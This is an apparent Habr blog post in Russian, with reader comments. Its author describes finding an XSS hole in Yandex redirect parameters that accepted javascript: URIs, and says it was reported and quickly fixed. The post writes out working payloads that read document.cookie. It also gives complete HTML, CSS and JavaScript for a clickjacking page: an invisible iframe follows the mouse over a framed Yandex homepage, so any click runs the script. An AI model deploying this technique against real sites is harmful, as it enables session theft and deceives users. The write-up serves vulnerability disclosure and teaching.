Раскручиваем XSS на Яндексе (fixed)



    Здравствуйте, Хабражители!

    Сегодня гулял по сети, зашел на Яндекс, чтобы посмотреть погоду в столице. Когда нажал кнопочку «другой город» Яндекс перенаправил меня сюда. Я думаю, что у каждого, кто видит такой адрес возникает желание подменить один из параметров, а точнее retpath. :) Вставил я туда стандартный
    "><script>alert('xss');</script>
    и залез в исходник, смотреть что фильтруется, а что нет. Вот такая строка была в исходнике.
    <span onclick="return {'b\-form\-button':{name:'b\-form\-button', 'retpath': &quot;\&quot;&gt;&lt;script&gt;alert('xss')&quot;}}"
    Ну, думаю, скукота, — все фильтруется. Потом посмотрел внимательней и понял, что Яндекс не добавляет к URL вначале протокол, вот тут можно и поиграться. Ввел
    javascript: alert('xss');
    — работает! Но к сожалению, только при нажатии на кнопку «Вернуться». Можете попробовать. Уже интереснее, копаем дальше…



    (Материал написан и предоставлен в учебных целях.)

    Итак, что нужно сделать, чтобы пользователь не знал, что он кликает на «Вернуться»? — Правильно. Нужно поместить эту страницу в iframe, добавить стилей, и поместить прозрачно над каким-либо элементом, на нашей странице. Пробуем вариант с фреймами — не получается. Яндекс проверяет, если их сайт открыт в фрейме, и перенаправляет родительское окно(браузера) на Яндекс. Как же решить эту проблему? Я нашел атрибут sandbox для iframe, введенный только в html5. И просто запретил перенаправлять пользователя, но способ работал только в Хроме, и то, блокируя содержимое всего фрейма.

    Настроение уже начало ухудшаться, и я решил поискать, где в других местах используется retpath, ведь если подобная уязвимость есть в одном месте, то она будет и в другом. Нашел парочку в «Словарях» и «Помощи», но кнопки «Вернуться» там не было. Потом из за того, что я не правильно подменил параметр, Яндекс отправил меня сюда, вот тут то все и началось.

    Итак, пробуем подменить параметр url на
    javascript:alert('ahoy!');
    и кликаем на ссылку. Работает! Теперь пробуем поместить адрес с уязвимостью в iframe. Ура! Проверок нет. Попробовать. Отлично, идем дальше.

    Теперь нам нужно добавить нужные стили к iframe. Я решил сделать так: поместить айфрейм с уязвимостью внутрь маленького(100x20) дива, и сдвинуть iframe так, что пользователю будет «видна» только ссылка (по которой нужно кликнуть :).

    
    <!DOCTYPE html>
    <html>
    <head>
    <style type="text/css">
    body {
      margin:0;
      padding:0;
    }
    #helper {
      position: absolute;
      overflow: hidden;
      width: 200px;
      height: 13px;
    }
    #ifr {
      position: relative;
      top: -180px;
      left: -58px;
    }
    </style>
    </head>
    <body>
      <div id="helper">
        <div style="width: 100%; height: 300px">
          <iframe 
          id="ifr"
          src="http://yandex.ru/redir_warning/?url=javascript:alert(document.cookie)" 
          width="1000px"
          height="300"
          frameborder="no"
          scrolling="no"
          ></iframe>
        </div>
      </div>
    </body>
    </html>
    


    Готово, но как-то скучно! Хотелось бы, чтобы пользователь ни о чем не подозревал. Как это сделать? Интересный вопрос. Первое, что пришло в голову — а что если двигать элемент helper за мышкой. Это значит, что пользователю уже не надо кликать в определенном месте. Где бы он не кликнул — скрипт выполнится. Привожу код:
        var el;
        window.onload = function() {
          var ifr = document.getElementById("ifr");
          //некоторые различия в верстке в вебките
          if(navigator.userAgent.toLowerCase().indexOf("webkit") != -1) {
            ifr.style.top = "-180px";
          } else {
            ifr.style.top = "-190px";
          }
          el = document.getElementById("helper");
          window.onmousemove = onmove;
        }
        function onmove(e) {
          el.style.left = (e.pageX - 50) + "px";
          el.style.top = (e.pageY - 12) + "px";
          return false;
        }
    

    А ещё откроем большой и видимый айфрем с главной Яндекса, чтобы пользователь думал, что он ещё там. :)
    
    <iframe id="yandex" src="http://yandex.ru/" width="100%" height="100%" frameborder="no"></iframe>
    

    Хорошо! Яндекс разрешает открывать свою гланую страницу внутри фрейма.

    Меняем zIndex'ы элементов и делаем наш helper невидимым и добавляем дополнительный прозрачный DIV, который перекрывает айфрейм яндекса и позволяет избежать конфликтов между айфремами.

      <div id="overlay"></div>
    

    #helper {
     z-index: 20000;
     opacity: 0;
    }
    #yandex {
     z-index: 10;
    }
    #overlay {
     position: absolute;
     top: 0;
     left: 0;
     width: 100%;
     height: 100%;
     z-index: 20;
    }
    


    Готовый пример.
    Как это работает?

    (по ссылкам выполняется alert(document.cookie))

    Надеюсь, что Вам понравилась моя статья. Буду рад комментариям.

    На момент 20:30 уявимость прикрыта, я очень рад за Яндекс, что скорость устранения уязвимостей такая быстрая. От яндекса на почту пришло:

    Добрый день, Олег!
    
    Благодарим за интерес к работе нашего сервиса и Ваше сообщение, мы обязательно проверим указанную Вами информацию. Ваше письмо направлено разработчикам.
    
    --
    С уважением, ...
    Служба поддержки Яндекса
    http://help.yandex.ru/
    
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 54

      0
      Хороший материал :)
        +46
        «Internet Explorer has modified this page to help prevent cross-site scripting.»
          +8
          NoScript в Firefox тоже ругается
          +7
          Даже крупные организации грешат XSS, что уж говорить о мелких самописных CMSках? BTW — готовлю материал для создания некого подобия сертификата безопасности веб систем — если есть интерес — могу опуб
            0
            … опубликовать
              +5
              интерес есть
            +25
            А яндексу-то отписали?
              +3
              Если проводить мышкой по пустому месту — появляется рука. Ну, это побочное действие :)
              +11
              после этого топика, руководство яндекса просто обязано взять автора тестировщиком :)
                –4
                а автор?
                  +1
                  Просто обязаны пересмотреть нынешних кадров-программистов.
                    +2
                    Эта уязвимость не такая очевидная. Ведь, вроде как, данные, приходящие get-ом, фильтруются. И на этапе разработки(или даже тестирования) не каждый профессиональный кодер(тестер) заметит.
                  +1
                  Есть ли опасность, если аутентификационному кукису установлен флаг httponly? Кстати, yandex устанавливает этот флаг?
                    0
                    Вроде ж httponly только в ИЕ работает…
                      0
                      Нет.
                    +1
                    В Opera 11.50 Mac не всегда срабатывает, фрейм на пикселей 7 выше чем курсор.
                      0
                      При наведении на любую ссылку Chrome пишет, снизу в статусной строке, что будет происходить.
                        +1
                        Если на ссылку навешан джаваскрипт, то не всегда.
                      • НЛО прилетело и опубликовало эту надпись здесь
                          –18
                          А владельцу урок будет.
                            +9
                            аукнется
                              +11
                              Владельцу и так уже урок был в пятницу вечером. Этот-то за что? :)
                                +21
                                Самопиар Детский сад. Все вокруг возомнили себя учителями и позабыли про принятую этику публикации информации об уязвимостях.
                                  +5
                                  95 год, максимализм и т.п.
                                  +7
                                  Урок владельцу, а страдают кто?
                                +1
                                Chrome 15 под убунтой, никаких алертов нет.
                                Но автор, конечно, молодец, а вот Яндексу стоит серьёзнее следить за безопасностью своих сервисов. Я в торе видел сайты намного более защищенные от подобных проделок.
                                  +1
                                  NoScript в FF помог.
                                  Cразу же сообщил о блокировке XSS, а при попытке клика на странице — вывел дополнительное сообщение об XSS.

                                  p.s. Ещё желательно поменять курсор — он тоже наводит на мысли о чём-то нехорошем.
                                  p.p.s. А за исследование спасибо, не знал о таком.
                                    –1
                                    Как поменять css в фрейме, где загружен чужой сайт?
                                      0
                                      браузер не даст поменять чужой сайт во фрейме.
                                      +4
                                      Такая техника атаки называется Clickjacking.
                                        +4
                                        Только сообщил Яндексу, и тут внезапно bit.ly/qLMGgH. Я в курсе, как называется данный тип техники, но тут фишка ещё и в безопасности Яндекса. Некоторые расширения помогают бороться с уязвимостью.

                                        А IE вообще блокирует такие страницы. :)
                                          +22
                                          Работает! Теперь пробуем поместить адрес с уязвимостью в iframe. Ура! Проверок нет. Попробовать.

                                          Сокращённые ссылки в топике про xss вызывают немало опасений :)
                                            +5
                                            Простите уж, парсер не принимает ссылки с спецсимволами. :)
                                              +1
                                              для параноиков можно добавить вариант:
                                              bitly.com/qi8FO4+
                                              +2
                                              +2
                                              А где-то сидит сейчас один какой-то конкретный человек и, положив ладонь на лицо, думает… Много думает… :)
                                                –4
                                                image
                                                  +4
                                                  Прапорщик Оригинальность?
                                                +13
                                                Как это мило — разместить уязвимость на Яндексе на хостинге от Яндекса.
                                                  +6
                                                  Эй, это мой аватар! 8)
                                                    0
                                                    Мысли сходятся значит, я сам рисовал переворачивал!
                                                  +3
                                                  Mac OS 10.7/Safari 5.1 — не срабатывает, пустая страница
                                                    +1
                                                    Проверил еще в других браузерах: Chrome и Firefox пусто, Opera — показывает какую-то жуть, но в целом работает
                                                    +4
                                                    Когда только опубликовали оно работало, сейчас только грузит страницу, но щелчок по ней не работает, в яндексе начали чинить? (хром 15\вин XP)
                                                      0
                                                      Похоже, запретили все протоколы, кроме HTTP, HTTPS и FTP.
                                                        0
                                                        Уже прикрыли уязвимость. Печально, а то хотел попробовать
                                                          –4
                                                          bit.ly лежит под хабраэффектом…
                                                            +1
                                                            Похоже, что в последний месяц это становиться некоторой проверкой мужественности. Как древние люди ходили охотиться на льва, чтобы доказать что они стали мужчинами, так и современные веб-программисты ищут очередную дырку в Яндыксе. Пока дырку не нашёл — тру прогером не будешь.
                                                              +2
                                                              Что это бред? Откуда Вы это взяли?
                                                                +1
                                                                За последний месяц различных дырок в Яндыксе тут уже несколько штук пробегало. Не считая поисковые запросы. Вот я и задумываюсь, что все так массово ломанулись.
                                                              +3
                                                              Уязвимость пофиксили.

                                                              На почту пришло:
                                                              Добрый день, Олег!
                                                              
                                                              Благодарим за интерес к работе нашего сервиса и Ваше сообщение, мы обязательно проверим указанную Вами информацию. Ваше письмо направлено разработчикам.
                                                              
                                                              --
                                                              С уважением, [имя сотрудника]
                                                              Служба поддержки Яндекса
                                                              http://help.yandex.ru/
                                                              


                                                              Я действительно очень рад за Яндекс, что уязвимости прикрываются с такой быстрой скоростью.

                                                              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                              Самое читаемое